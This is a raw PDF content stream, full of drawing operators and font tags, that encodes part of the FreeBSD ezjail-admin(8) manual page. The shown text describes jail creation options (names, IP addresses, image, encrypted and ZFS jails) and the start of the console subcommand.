866(ing the)Tj
867/TT8 1 Tf
8682.9995 0 TD
869(host)Tj
870/TT6 1 Tf
8712.6504 0 TD
872[(ar)18(gument as)]TJ
873/TT10 1 Tf
8745.0914 0 TD
875(file://path/to/source)Tj
876/TT6 1 Tf
87712.602 0 TD
878(.)Tj
879/TT3 1 Tf
880-27.2767 -1.8 TD
881<00e9>Tj
882/TT4 1 Tf
8830.6001 0 TD
884(r)Tj
885/TT8 1 Tf
8861.2001 0 TD
887(release)Tj
888/TT6 1 Tf
8892.1332 -1.2 TD
8900.0166 Tw
891[(Install this release of FreeBSD in the base jail, instead of the v)15(ersion returned by )]TJ
892/TT10 1 Tf
89333.1691 0 TD
894(uname -r)Tj
895/TT6 1 Tf
8964.8174 0 TD
8970.2666 Tc
8980 Tw
899[(o)266.6(n)]TJ
900-37.9864 -1.2 TD
9010 Tc
9020.0057 Tw
903[(the host system. Note that the FreeBSD FTP serv)15(ers usually pro)15(vide only -RELEASE v)15(ersions, not)]TJ
904T*
9050.0473 Tw
906[(-ST)93(ABLE nor -CURRENT v)15(ersions; you will be prompted for con)]TJ
907/TT11 1 Tf
90827.0643 0 TD
9090 Tw
910()Tj
911/TT6 1 Tf
9120.5562 0 TD
9130.0473 Tw
914(rmation when trying to install)Tj
915-27.6204 -1.2 TD
9160.0521 Tw
917[(a)-302.2(non -RELEASE v)15(ersion. If you w)10(ant to install a -CURRENT v)15(ersion, you may ha)20(v)15(e)15( )-15(to)-302.1(compile)]TJ
918T*
9190 Tw
920(from source the base jail; see the)Tj
921/TT4 1 Tf
92213.356 0 TD
923(ezjail-admin )Tj
9247.4513 0 TD
925(update)Tj
926/TT6 1 Tf
9273.8506 0 TD
928(sub-command for this.)Tj
929/TT4 1 Tf
930-30.5578 -2.4 TD
931(ezjail-admin )Tj
9327.5138 0 TD
933(create)Tj
934/TT6 1 Tf
935-5.7138 -1.2 TD
9360.0181 Tw
937[(Create a ne)25(w)-268.1(jail inside ezjail)55(s)-268.1(scope. It either copies the ne)25(w)-268.2(jail directory tree template or an ezjail archi)25(v)15(e)]TJ
938T*
9390.0402 Tw
940[(directory tree to ne)25(w)-290.2(jail root directory)65(,)]TJ
941/TT10 1 Tf
94216.241 0 TD
9430 Tw
944(/usr/jails/)Tj
945/TT8 1 Tf
9466.6011 0 TD
947(jailname)Tj
948/TT6 1 Tf
9495.091 0 TD
9500.0402 Tw
951[(by def)10(ault. Jailname and IP address are)]TJ
952-27.9331 -1.2 TD
9530 Tw
954(mandatory parameters.)Tj
9550 -1.8 TD
9560.1582 Tw
957[(When a ne)25(w)-408.2(jail is created, a corresponding ne)25(w)]TJ
958/TT10 1 Tf
95921.0331 0 TD
9600 Tw
961(/etc/fstab.)Tj
962/TT8 1 Tf
9636.6011 0 TD
964(jailname)Tj
965/TT11 1 Tf
9665.2091 0 TD
967()Tj
968/TT6 1 Tf
9690.5562 0 TD
9700.1583 Tw
971(le is also created, with a)Tj
972/TT10 1 Tf
973-33.3994 -1.2 TD
9740 Tw
975(nullfs)Tj
976/TT6 1 Tf
9773.6006 0 TD
978[(\(5\) mount gi)25(ving access to the base jail from the ne)25(w)-250(jail.)]TJ
979-3.6006 -1.8 TD
980[(The follo)25(wing operands are mandatory:)]TJ
981/TT8 1 Tf
982T*
983(jailname)Tj
984/TT6 1 Tf
9854.1 -1.2 TD
9860.4521 Tw
987[(The name of the jail. It is customary to use the netw)10(ork name of the jail, such as)]TJ
988T*
9890 Tw
990()Tj
991/TT10 1 Tf
9920.4438 0 TD
993(jail1.example.com)Tj
994/TT6 1 Tf
99510.2017 0 TD
996[()-250(\(or maybe simply )]TJ
997/TT10 1 Tf
9988.4419 0 TD
999(jail1)Tj
1000/TT6 1 Tf
10013.0005 0 TD
1002[(\), b)20(ut really an)15(y)-250(name may be used.)]TJ
1003-22.0879 -1.8 TD
10040.0236 Tw
1005[(It is an error to ha)20(v)15(e)15( )-15(se)25(v)25( )263.6(eral jails of the same name, note that due to ezjail)55(s)-273.7(internal jailname sani-)]TJ
10060 -1.2 TD
10070.0306 Tw
1008(tation, )Tj
1009/TT10 1 Tf
10103.2518 0 TD
10110 Tw
1012(sand-box.com)Tj
1013/TT6 1 Tf
10147.2012 0 TD
10150.0306 Tw
1016[()-280.6(and )]TJ
1017/TT10 1 Tf
10182.8927 0 TD
10190 Tw
1020(sand_box_com)Tj
1021/TT6 1 Tf
10227.2012 0 TD
10230.0306 Tw
1024[()-280.6(are considered identical. Some names such as)]TJ
1025-20.5469 -1.2 TD
10260 Tw
1027()Tj
1028/TT10 1 Tf
10290.4438 0 TD
1030(basejail)Tj
1031/TT6 1 Tf
10324.8008 0 TD
1033[()-250(and )]TJ
1034/TT10 1 Tf
10352.8315 0 TD
1036(flavours)Tj
1037/TT6 1 Tf
10384.8008 0 TD
1039[()-250(are reserv)15(ed for ezjails internal administrati)25(v)15(e)15( )-15(purposes.)]TJ
1040/TT8 1 Tf
1041-16.977 -1.8 TD
1042(ipaddress)Tj
1043/TT6 1 Tf
10445.4842 0 TD
1045([)Tj
1046/TT8 1 Tf
10470.4163 0 TD
1048(,ipaddress2,...)Tj
1049/TT6 1 Tf
10509.0848 0 TD
1051(])Tj
1052-10.8853 -1.2 TD
10530.056 Tw
1054[(The IP address or addresses of the jail. Since FreeBSD 7.2, it is possible to assign se)25(v)15(eral se)25(v)15(eral)]TJ
1055T*
10560.0625 Tw
1057[(IPv4 or IPv6 addresses to a jail, by separating them with commas. Pre)25(vious v)15(ersions of FreeBSD)]TJ
1058T*
10590 Tw
1060[(allo)25(wed only a single IPv4 address per jail.)]TJ
10610 -1.8 TD
10620.0634 Tw
1063(From FreeBSD 9.0 the ipaddresses may be pre)Tj
1064/TT11 1 Tf
106519.1069 0 TD
10660 Tw
1067()Tj
1068/TT6 1 Tf
10690.5562 0 TD
10700.0634 Tw
1071[(x)15(ed with an interf)10(ace name, follo)25(wed by the pipe)]TJ
1072-19.663 -1.2 TD
10730.0829 Tw
1074(symbol. It will then automatically be con)Tj
1075/TT11 1 Tf
107616.9105 0 TD
10770 Tw
1078()Tj
1079/TT6 1 Tf
10800.5562 0 TD
10810.0828 Tw
1082[(gured as an alias on that interf)10(ace when the jail starts.)]TJ
1083-17.4666 -1.2 TD
10840 Tw
1085(Else)Tj
1086/TT4 1 Tf
10872.062 0 TD
1088(ezjail-admin)Tj
1089/TT6 1 Tf
10907.5415 0 TD
10910.0903 Tw
1092[(will display a w)10(arning if the requested address is not found on an)15(y)-340.4(inter)20(-)]TJ
1093-9.6034 -1.2 TD
10940 Tw
1095[(f)10(ace, and the jail will probably not start.)]TJ
10960 -1.8 TD
10970.1343 Tw
1098[(It is common to bind jails to loopback addresses, so the)15(y)-384.3(pro)15(vide services visible to other jails)]TJ
10990 -1.2 TD
11000 Tw
1101[(only)65(.)]TJ
1102-4.1 -1.8 TD
1103[(The follo)25(wing options are a)20(v)25(ailable:)]TJ
1104/TT3 1 Tf
11050.1666 -1.8 TD
1106<00e9>Tj
1107/TT4 1 Tf
11080.6001 0 TD
1109(r)Tj
1110/TT8 1 Tf
11111.2001 0 TD
1112(jailroot)Tj
1113/TT6 1 Tf
11142.1332 -1.2 TD
11150.119 Tw
1116[(Use this name as the directory name of the ne)25(w)-369(jail. W)40(ithout this option, it is deri)25(v)15(e)0(d)-369(from the)]TJ
1117T*
11180.0086 Tw
1119[(jail)55(s)-258.6(name. If this option is gi)25(v)15(e)0(n)-258.6(and does not start with a /, it is interpreted as relati)25(v)15(e)15( )-15(to)-258.6(ezjail)55(s)]TJ
1120T*
11210.1054 Tw
1122(root directory)Tj
1123/TT10 1 Tf
11245.931 0 TD
11250 Tw
1126(\(/usr/jails)Tj
1127/TT6 1 Tf
11286.9565 0 TD
11290.1054 Tw
1130[(by def)10(ault\). If a speci)]TJ
1131/TT11 1 Tf
11328.9355 0 TD
11330 Tw
1134()Tj
1135/TT6 1 Tf
11360.5562 0 TD
11370.1054 Tw
1138(ed jailroot path lies outside the ezjail root)Tj
1139-22.3792 -1.2 TD
11400.013 Tw
1141[(directory)65(,)-263(a)-263(soft link is created inside)]TJ
1142/TT10 1 Tf
114315.0768 0 TD
11440 Tw
1145(/usr/jails/)Tj
1146/TT6 1 Tf
11476.8641 0 TD
11480.013 Tw
1149[(pointing to the location of the ne)25(wly created)]TJ
1150-21.9409 -1.2 TD
11510 Tw
1152(jail.)Tj
1153/TT3 1 Tf
1154-3.9334 -1.8 TD
1155<00e9>Tj
1156/TT4 1 Tf
11570.6001 0 TD
1158(a)Tj
1159/TT8 1 Tf
11601.2001 0 TD
1161(archive)Tj
1162/TT6 1 Tf
11632.1332 -1.2 TD
11640.0006 Tw
1165[(Restore a jail from an archi)25(v)15(e)15( )-15(created with)]TJ
1166/TT4 1 Tf
116717.2348 0 TD
11680 Tw
1169(ezjail-admin )Tj
11707.452 0 TD
1171(archive)Tj
1172/TT6 1 Tf
11734.2007 0 TD
11740.0007 Tw
1175[(.)-500.7(The archi)25(v)15(e)15( )]TJ
1176/TT11 1 Tf
11775.7092 0 TD
11780 Tw
1179()Tj
1180/TT6 1 Tf
11810.5562 0 TD
11820.0007 Tw
1183[(les are k)10(ept)]TJ
1184-35.1528 -1.2 TD
11850 Tw
1186(in)Tj
1187/TT10 1 Tf
11881.0487 0 TD
1189(/usr/jails/ezjail_archives)Tj
1190/TT6 1 Tf
119115.8734 0 TD
11920.0209 Tw
1193[(by def)10(ault. Use)]TJ
1194/TT10 1 Tf
11956.3841 0 TD
11960 Tw
1197(-)Tj
1198/TT6 1 Tf
11990.8709 0 TD
12000.0208 Tw
1201[(to restore an archi)25(v)15(e)15( )-15(from the standard)]TJ
1202-24.1772 -1.2 TD
12030 Tw
1204(input.)Tj
12050 -1.8 TD
12060.0543 Tw
1207[(Y)110(o)0(u)-304.2(will probably need to tidy up things inside an ezjail if you migrate it between dif)25(ferent ezjail)]TJ
12080 -1.2 TD
12090.0742 Tw
1210[(en)40(vironments. This may include \(b)20(ut is not limited to\) reinstalling ports or packages for dif)25(ferent)]TJ
1211T*
12120.0924 Tw
1213[(CPUs or library v)15(ersions. Y)110(ou may also need to cop)10(y)-342.4(some libraries from the source host)55(s)-342.5(base)]TJ
1214-7.1 -4.8 TD
121515.998 Tw
1216[(FreeBSD January)-250(15, )15998(2011)-19470(2)]TJ
1217ET
1218endstream
1219endobj
122016 0 obj
1221<<
1222/ProcSet [/PDF /Text ]
1223/Font <<
1224/TT3 5 0 R
1225/TT4 6 0 R
1226/TT6 7 0 R
1227/TT8 8 0 R
1228/TT10 9 0 R
1229/TT11 10 0 R
1230>>
1231/ExtGState <<
1232/GS1 12 0 R
1233>>
1234>>
1235endobj
123618 0 obj
1237<<
1238/Length 8990
1239>>
1240stream
1241BT
1242/TT6 1 Tf
124310 0 0 10 72 744 Tm
12440 g
1245/GS1 gs
12460 Tc
1247-0.0834 Tw
1248[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ
12497.1 -4.8 TD
12500 Tw
1251(jail.)Tj
12520 -1.8 TD
12530.0645 Tw
1254(See also)Tj
1255/TT4 1 Tf
12563.6837 0 TD
12570 Tw
1258(ezjail-admin )Tj
12597.5158 0 TD
1260(restore)Tj
1261/TT6 1 Tf
12624.2007 0 TD
12630.0644 Tw
1264[(,)-314.5(i)0(f)-314.5(you only w)10(ant to re)25(v)15(ert to an old jail)55(s)-314.4(state from an ar)20(-)]TJ
1265-15.4001 -1.2 TD
12660 Tw
1267[(chi)25(v)15(e)15( )-15(on)-250(the same release v)15(ersion.)]TJ
1268/TT3 1 Tf
1269-3.9334 -1.8 TD
1270<00e9>Tj
1271/TT4 1 Tf
12720.6001 0 TD
1273(x)Tj
1274/TT6 1 Tf
12753.3333 0 TD
1276(This )Tj
1277/TT11 1 Tf
12782.0569 0 TD
1279()Tj
1280/TT6 1 Tf
12810.5562 0 TD
12820.0291 Tw
1283[(ag indicates that a jail root directory for that jail already e)15(xists. )-250.1(In)-279.2(this case, ezjail will only)]TJ
1284-2.6131 -1.2 TD
12850 Tw
1286[(import the jail to its control directory)65(.)-250(Sanity checks are performed.)]TJ
1287/TT3 1 Tf
1288-3.9334 -1.8 TD
1289<00e9>Tj
1290/TT4 1 Tf
12910.6001 0 TD
1292(f)Tj
1293/TT8 1 Tf
12941.2001 0 TD
1295(flavour)Tj
1296/TT6 1 Tf
12972.1332 -1.2 TD
1298(Install the requested)Tj
1299/TT8 1 Tf
13008.3027 0 TD
1301(flavour)Tj
1302/TT6 1 Tf
13034.4507 0 TD
1304[(in the ne)25(w)-250(jail. Refer to)]TJ
1305/TT10 1 Tf
13069.6664 0 TD
1307(ezjail)Tj
1308/TT6 1 Tf
13093.6006 0 TD
1310(\(7\) for more details on )Tj
1311/TT11 1 Tf
13129.2471 0 TD
1313()Tj
1314/TT6 1 Tf
13150.5562 0 TD
1316[(a)20(v)20(ours.)]TJ
1317-35.8236 -1.8 TD
1318(This option may not be used with the)Tj
1319/TT3 1 Tf
132015.276 0 TD
1321<00e9>Tj
1322/TT4 1 Tf
13230.6001 0 TD
1324(a)Tj
1325/TT6 1 Tf
13260.8501 0 TD
1327(option.)Tj
1328/TT3 1 Tf
1329-20.6596 -1.8 TD
1330<00e9>Tj
1331/TT4 1 Tf
13320.6001 0 TD
1333(c simple)Tj
1334/TT6 1 Tf
13355.4008 0 TD
1336(|)Tj
1337/TT4 1 Tf
13380.8002 0 TD
1339(bde)Tj
1340/TT6 1 Tf
13412.4003 0 TD
1342(|)Tj
1343/TT4 1 Tf
13440.8002 0 TD
1345(eli)Tj
1346/TT6 1 Tf
13472.4003 0 TD
1348(|)Tj
1349/TT4 1 Tf
13500.8002 0 TD
1351(zfs)Tj
1352/TT6 1 Tf
1353-9.2687 -1.2 TD
1354[(Create an image jail of the gi)25(v)15(e)0(n)-250(type.)]TJ
1355/TT4 1 Tf
13560 -1.8 TD
13570.0398 Tw
1358(simple, bde)Tj
1359/TT6 1 Tf
13607.2807 0 TD
13610 Tw
1362(and)Tj
1363/TT4 1 Tf
13641.7336 0 TD
1365(eli)Tj
1366/TT6 1 Tf
13672.0901 0 TD
13680.0398 Tw
1369(image jails are )Tj
1370/TT11 1 Tf
13716.2 0 TD
13720 Tw
1373()Tj
1374/TT6 1 Tf
13750.5562 0 TD
13760.0398 Tw
1377[(le back)10(ed memory discs attached as)]TJ
1378/TT10 1 Tf
137914.7786 0 TD
13800 Tw
1381(md)Tj
1382/TT6 1 Tf
13831.2002 0 TD
13840.0398 Tw
1385[(\(4\) de)25(vices, so)]TJ
1386-33.8393 -1.2 TD
13870.048 Tw
1388[(the jail can ne)25(v)15(e)0(r)-298(gro)25(w)-298(b)0(e)15(yond its allocated size and can e)25(v)15(en)-298.1(be)-298.1(mounted read only)65(.)-298.1(The jail will)]TJ
1389T*
13900.0086 Tw
1391(be stored in a )Tj
1392/TT11 1 Tf
13935.6438 0 TD
13940 Tw
1395()Tj
1396/TT6 1 Tf
13970.5562 0 TD
13980.0086 Tw
1399(le named)Tj
1400/TT8 1 Tf
14013.9044 0 TD
14020 Tw
1403(jailname)Tj
1404/TT10 1 Tf
14054.8008 0 TD
1406(.img)Tj
1407/TT6 1 Tf
14082.4004 0 TD
1409[(,)-258.6(unless)]TJ
1410/TT3 1 Tf
14113.4338 0 TD
1412<00e9>Tj
1413/TT4 1 Tf
14140.6001 0 TD
1415(r)Tj
1416/TT8 1 Tf
14171.2087 0 TD
1418(jailroot)Tj
1419/TT6 1 Tf
14205.0594 0 TD
14210.0086 Tw
1422[(is gi)25(v)15(en, in which case the jail)]TJ
1423-27.6075 -1.2 TD
14240 Tw
1425(is stored in)Tj
1426/TT8 1 Tf
14274.6387 0 TD
1428(jailroot)Tj
1429/TT10 1 Tf
14304.8008 0 TD
1431(.img)Tj
1432/TT6 1 Tf
14332.4004 0 TD
1434(.)Tj
1435-11.8398 -1.8 TD
1436(Both)Tj
1437/TT4 1 Tf
14382.252 0 TD
1439(bde)Tj
1440/TT6 1 Tf
14412.4575 0 TD
1442(and)Tj
1443/TT4 1 Tf
14441.751 0 TD
1445(eli)Tj
1446/TT6 1 Tf
14472.1075 0 TD
14480.0572 Tw
1449(jails use the)Tj
1450/TT10 1 Tf
14515.1428 0 TD
14520 Tw
1453(geom)Tj
1454/TT6 1 Tf
14552.4004 0 TD
14560.0572 Tw
1457[(\(4\) frame)25(w)10(ork to encrypt all data written to the image )]TJ
1458/TT11 1 Tf
145922.3074 0 TD
14600 Tw
1461()Tj
1462/TT6 1 Tf
14630.5562 0 TD
1464(le)Tj
1465-38.9748 -1.2 TD
1466(using)Tj
1467/TT10 1 Tf
14682.417 0 TD
1469(gbde)Tj
1470/TT6 1 Tf
14712.4004 0 TD
1472(\(4\) \(for)Tj
1473/TT4 1 Tf
14743.165 0 TD
1475(bde)Tj
1476/TT6 1 Tf
14771.8003 0 TD
14780.25 Tc
1479[(\)o)250(r)]TJ
1480/TT10 1 Tf
14811.666 0 TD
14820 Tc
1483(geli)Tj
1484/TT6 1 Tf
14852.4004 0 TD
1486(\(8\) \(for)Tj
1487/TT4 1 Tf
14883.165 0 TD
1489(eli)Tj
1490/TT6 1 Tf
14911.8003 0 TD
1492(\).)Tj
1493-18.8145 -1.8 TD
14940.0066 Tw
1495(Unless you pass some options to the encryption geom commands using the)Tj
1496/TT3 1 Tf
149730.4644 0 TD
14980 Tw
1499<00e9>Tj
1500/TT4 1 Tf
15010.6001 0 TD
1502(C)Tj
1503/TT6 1 Tf
15040.8566 0 TD
15050.0065 Tw
1506[(parameter)40(,)-256.5(you will)]TJ
1507-31.9211 -1.2 TD
15080.2766 Tw
1509(be prompted for a passphrase to protect the crypto image. Note that, since starting normal)Tj
1510T*
15110.4865 Tw
1512[(encrypted image jails requires user interaction to enter the passphrase, the)15(y)-736.5(will)]TJ
1513/TT4 1 Tf
151437.8953 0 TD
15150 Tw
1516(NOT)Tj
1517-37.8953 -1.2 TD
15180.0119 Tw
1519(automatically be started at boot time.)Tj
1520/TT6 1 Tf
152123.4751 0 TD
15220 Tw
1523(Use)Tj
1524/TT4 1 Tf
15251.8171 0 TD
15260.0119 Tw
1527(ezjail-admin startcrypto)Tj
1528/TT6 1 Tf
1529-25.2922 -1.2 TD
15300 Tw
1531(to manually start all crypto image jails.)Tj
15320 -1.8 TD
1533(A)Tj
1534/TT4 1 Tf
15351.0625 0 TD
1536(zfs)Tj
1537/TT6 1 Tf
15382.1406 0 TD
15390.0903 Tw
1540[(jail is back)10(ed with a)]TJ
1541/TT10 1 Tf
15428.6891 0 TD
15430 Tw
1544(zfs)Tj
1545/TT6 1 Tf
15461.8003 0 TD
1547(\(8\) )Tj
1548/TT11 1 Tf
15491.5063 0 TD
1550()Tj
1551/TT6 1 Tf
15520.5562 0 TD
15530.0902 Tw
1554[(lesystem, whose initial quota is gi)25(v)15(e)0(n)-340.2(with the)]TJ
1555/TT3 1 Tf
155619.5963 0 TD
15570 Tw
1558<00e9>Tj
1559/TT4 1 Tf
15600.6001 0 TD
1561(s)Tj
1562/TT6 1 Tf
15630.9403 0 TD
1564(option.)Tj
1565-36.8915 -1.2 TD
1566(The )Tj
1567/TT11 1 Tf
15681.9618 0 TD
1569()Tj
1570/TT6 1 Tf
15710.5562 0 TD
15720.1571 Tw
1573[(lesystem by def)10(ault \(see the)]TJ
1574/TT3 1 Tf
157512.2998 0 TD
15760 Tw
1577<00e9>Tj
1578/TT4 1 Tf
15790.6001 0 TD
1580(z)Tj
1581/TT6 1 Tf
15821.0073 0 TD
15830.1572 Tw
1584(option\) is created in the )Tj
1585/TT10 1 Tf
158610.9213 0 TD
15870 Tw
1588($ezjail_jailzfs)Tj
1589/TT6 1 Tf
15909.0015 0 TD
1591[()-407.2(parent)]TJ
1592/TT11 1 Tf
1593-36.3479 -1.2 TD
1594()Tj
1595/TT6 1 Tf
15960.5562 0 TD
15971.4896 Tw
1598(lesystem and compressed using the lzjb method, as set in the)Tj
1599-0.5562 -1.2 TD
16000 Tw
1601()Tj
1602/TT10 1 Tf
16030.4438 0 TD
1604(ezjail_zfs_jail_properies)Tj
1605/TT6 1 Tf
160615.0024 0 TD
1607[()-250(v)25(ariable, both v)25(alues con)]TJ
1608/TT11 1 Tf
160910.6404 0 TD
1610()Tj
1611/TT6 1 Tf
16120.5562 0 TD
1613(gured in)Tj
1614/TT10 1 Tf
16153.5547 0 TD
1616(ezjail.conf)Tj
1617/TT6 1 Tf
16186.6011 0 TD
1619(\(5\).)Tj
1620-36.7986 -1.8 TD
16210.0631 Tw
1622(In each case, the)Tj
1623/TT3 1 Tf
16247.2759 0 TD
16250 Tw
1626<00e9>Tj
1627/TT4 1 Tf
16280.6001 0 TD
1629(s)Tj
1630/TT11 1 Tf
16310.9132 0 TD
1632()Tj
1633/TT6 1 Tf
16340.5562 0 TD
16350.0631 Tw
1636(ag is mandatory when creating a )Tj
1637/TT11 1 Tf
163813.5959 0 TD
16390 Tw
1640()Tj
1641/TT6 1 Tf
16420.5562 0 TD
16430.0631 Tw
1644[(le back)10(ed jail \(i.e. an)15(y)-313.2(image that is not)]TJ
1645-23.4974 -1.2 TD
16460.0995 Tw
1647[(zfs back)10(ed\). An empty directory \(without the)]TJ
1648/TT10 1 Tf
164918.9584 0 TD
16500 Tw
1651(.img)Tj
1652/TT6 1 Tf
16532.7498 0 TD
1654(suf)Tj
1655/TT11 1 Tf
16561.1972 0 TD
1657()Tj
1658/TT6 1 Tf
16590.5562 0 TD
16600.0994 Tw
1661(x in the case of )Tj
1662/TT11 1 Tf
16636.8002 0 TD
16640 Tw
1665()Tj
1666/TT6 1 Tf
16670.5562 0 TD
16680.0994 Tw
1669(le-based jails\) will be)Tj
1670-30.8179 -1.2 TD
16710 Tw
1672(created and used as a mount point when running the jail.)Tj
1673/TT3 1 Tf
1674-3.9334 -1.8 TD
1675<00e9>Tj
1676/TT4 1 Tf
16770.6001 0 TD
1678(z)Tj
1679/TT8 1 Tf
16801.2001 0 TD
1681(parentzfs)Tj
1682/TT6 1 Tf
16832.1332 -1.2 TD
16840.0497 Tw
1685[(Normally zfs jails are created in a child of the same zfs, ezjail k)10(eeps its w)10(orking directories in, as)]TJ
1686T*
16870 Tw
1688(con)Tj
1689/TT11 1 Tf
16901.4438 0 TD
1691()Tj
1692/TT6 1 Tf
16930.5562 0 TD
16940.1546 Tw
1695(gured in the )Tj
1696/TT10 1 Tf
16975.934 0 TD
16980 Tw
1699(ezjail_jailzfs)Tj
1700/TT6 1 Tf
17018.4014 0 TD
17020.1546 Tw
1703[()-404.6(v)25(ariable set in)]TJ
1704/TT10 1 Tf
17057.146 0 TD
17060 Tw
1707(ezjail.conf)Tj
1708/TT6 1 Tf
17096.6011 0 TD
17100.1545 Tw
1711[(\(5\). )-250(Use)-404.5(this option to)]TJ
1712-30.0825 -1.2 TD
17130 Tw
1714[(o)15(v)15(erride this def)10(ault.)]TJ
17150 -1.8 TD
1716(This option implies)Tj
1717/TT3 1 Tf
17188.1944 0 TD
1719<00e9>Tj
1720/TT4 1 Tf
17210.6001 0 TD
1722(c)Tj
1723/TT8 1 Tf
17241.2001 0 TD
1725(zfs)Tj
1726/TT6 1 Tf
17271.8003 0 TD
1728(.)Tj
1729/TT3 1 Tf
1730-15.7283 -1.8 TD
1731<00e9>Tj
1732/TT4 1 Tf
17330.6001 0 TD
1734(s)Tj
1735/TT8 1 Tf
17361.2001 0 TD
1737(imagesize)Tj
1738/TT6 1 Tf
17392.1332 -1.2 TD
17400.0034 Tw
1741[(Allocate this size to the jail. W)40(ithout an unit, the size is in bytes. The v)25(alid suf)]TJ
1742/TT11 1 Tf
174331.2632 0 TD
17440 Tw
1745()Tj
1746/TT6 1 Tf
17470.5562 0 TD
17480.0034 Tw
1749[(x v)25(alues are b/B for)]TJ
1750-31.8194 -1.2 TD
1751-0.0001 Tc
17520.0557 Tw
1753[(blocks \(i. e. 512 bytes\), k/K for kilobytes, m/M for me)14.9(gabytes, and g/G for gigabytes. As a refer)19.9(-)]TJ
1754T*
17550 Tc
17560 Tw
1757[(ence point, a ne)25(wly created jail requires 2 MB.)]TJ
17580 -1.8 TD
17590.0484 Tw
1760(It is not possible to increase the size of )Tj
1761/TT11 1 Tf
176216.1817 0 TD
17630 Tw
1764()Tj
1765/TT6 1 Tf
17660.5562 0 TD
17670.0484 Tw
1768[(le-based jails after their creation, short of creating a ne)25(w)]TJ
1769-16.7378 -1.2 TD
17700 Tw
1771[(image jail with a lar)18(ger size.)]TJ
1772/TT3 1 Tf
1773-3.9334 -1.8 TD
1774<00e9>Tj
1775/TT4 1 Tf
17760.6001 0 TD
1777(C)Tj
1778/TT8 1 Tf
17791.2001 0 TD
1780(imageopt)Tj
1781/TT6 1 Tf
17822.1332 -1.2 TD
17830.0532 Tw
1784[(P)15(ass this ar)18(gument to)]TJ
1785/TT10 1 Tf
17868.957 0 TD
17870 Tw
1788(gbde)Tj
1789/TT6 1 Tf
17902.4004 0 TD
17910.0531 Tw
1792(\(8\) or)Tj
1793/TT10 1 Tf
17942.6052 0 TD
17950 Tw
1796(geli)Tj
1797/TT6 1 Tf
17982.4004 0 TD
17990.0531 Tw
1800(\(8\) when initialising crypto image jails. The)Tj
1801/TT3 1 Tf
180218.3674 0 TD
18030 Tw
1804<00e9>Tj
1805/TT4 1 Tf
18060.6001 0 TD
1807(P)Tj
1808/TT6 1 Tf
18091.2532 0 TD
1810(and)Tj
1811/TT3 1 Tf
18121.9135 0 TD
1813<00e9>Tj
1814/TT4 1 Tf
18150.6001 0 TD
1816(K)Tj
1817/TT6 1 Tf
1818-39.0974 -1.2 TD
1819(\(and)Tj
1820/TT3 1 Tf
18212.3508 0 TD
1822<00e9>Tj
1823/TT4 1 Tf
18240.6001 0 TD
1825(L)Tj
1826/TT6 1 Tf
18271.0074 0 TD
1828(for)Tj
1829/TT10 1 Tf
18301.5733 0 TD
1831(gbde)Tj
1832/TT6 1 Tf
18332.4004 0 TD
18340.1573 Tw
1835[(\(4\)\) options will be translated and passed to the respecti)25(v)15(e)15( )-15.1(attach command)]TJ
1836-7.932 -1.2 TD
18370.0861 Tw
1838[(when starting the jail. Y)110(ou will ha)20(v)15(e)15( )-15(to)-336.1(escape parameters with single ticks to protect them from)]TJ
1839T*
18400 Tw
1841[(shell e)15(xpansion.)]TJ
1842-7.1 -4.8 TD
184315.998 Tw
1844[(FreeBSD January)-250(15, )15998(2011)-19470(3)]TJ
1845ET
1846endstream
1847endobj
184819 0 obj
1849<<
1850/ProcSet [/PDF /Text ]
1851/Font <<
1852/TT3 5 0 R
1853/TT4 6 0 R
1854/TT6 7 0 R
1855/TT8 8 0 R
1856/TT10 9 0 R
1857/TT11 10 0 R
1858>>
1859/ExtGState <<
1860/GS1 12 0 R
1861>>
1862>>
1863endobj
186421 0 obj
1865<<
1866/Length 6426
1867>>
1868stream
1869BT
1870/TT6 1 Tf
187110 0 0 10 72 744 Tm
18720 g
1873/GS1 gs
18740 Tc
1875-0.0834 Tw
1876[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ
1877/TT3 1 Tf
18783.1666 -4.8 TD
18790 Tw
1880<00e9>Tj
1881/TT4 1 Tf
18820.6001 0 TD
1883(i)Tj
1884/TT6 1 Tf
18853.3333 0 TD
1886[(Synon)15(ym of)]TJ
1887/TT3 1 Tf
18885.3186 0 TD
1889<00e9>Tj
1890/TT4 1 Tf
18910.6001 0 TD
1892(c simple)Tj
1893/TT6 1 Tf
18944.8008 0 TD
1895(.)Tj
1896/TT3 1 Tf
1897-14.6529 -1.8 TD
1898<00e9>Tj
1899/TT4 1 Tf
19000.6001 0 TD
1901(b)Tj
1902/TT6 1 Tf
19033.3333 0 TD
19040.1215 Tw
1905[(T)70(ell ezjail that starting this jail w)10(ould block unattended reboots. This may happen when certain)]TJ
19060 -1.2 TD
19070.0532 Tw
1908[(services need pri)25(v)25(ate SSL k)10(e)15(ys)-303.2(that require the user to interacti)25(v)15(ely enter a passphrase. The jail is)]TJ
1909T*
19100 Tw
1911(then not automatically started at boot time.)Tj
1912/TT4 1 Tf
1913-5.9 -2.4 TD
1914(ezjail-admin )Tj
19157.5138 0 TD
1916(console)Tj
1917/TT6 1 Tf
1918-5.7138 -1.2 TD
1919[(Attach your console to the selected jail. Y)110(ou are logged in as root by def)10(ault.)]TJ
19200 -1.8 TD
1921[(The follo)25(wing options are a)20(v)25(ailable:)]TJ
1922/TT3 1 Tf
19230.1666 -1.8 TD
1924<00e9>Tj
1925/TT4 1 Tf
19260.6001 0 TD
1927(f)Tj
1928/TT6 1 Tf
19293.3333 0 TD
1930(Start the jail if it is not running yet.)Tj
1931/TT3 1 Tf
1932-3.9334 -1.8 TD
1933<00e9>Tj
1934/TT4 1 Tf
19350.6001 0 TD
1936(e)Tj
1937/TT8 1 Tf
19381.2001 0 TD
1939(command)Tj
1940/TT6 1 Tf
19412.1332 -1.2 TD
1942(Use)Tj
1943/TT8 1 Tf
19441.8201 0 TD
1945(command)Tj
1946/TT6 1 Tf
19474.4656 0 TD
19480.0149 Tw
1949[(instead of the def)10(ault /usr/bin/login -f root.)-514.9(loogin command. A one time change)]TJ
1950-6.2857 -1.2 TD
19510.1793 Tw
1952[(to use a dif)25(ferent user can be accomplished by using)]TJ
1953/TT3 1 Tf
195423.0942 0 TD
19550 Tw
1956<00e9>Tj
1957/TT4 1 Tf
19580.6001 0 TD
1959(e)Tj
1960/TT6 1 Tf
19611.3793 0 TD
1962(")Tj
1963/TT10 1 Tf
19640.4082 0 TD
19650.1792 Tw
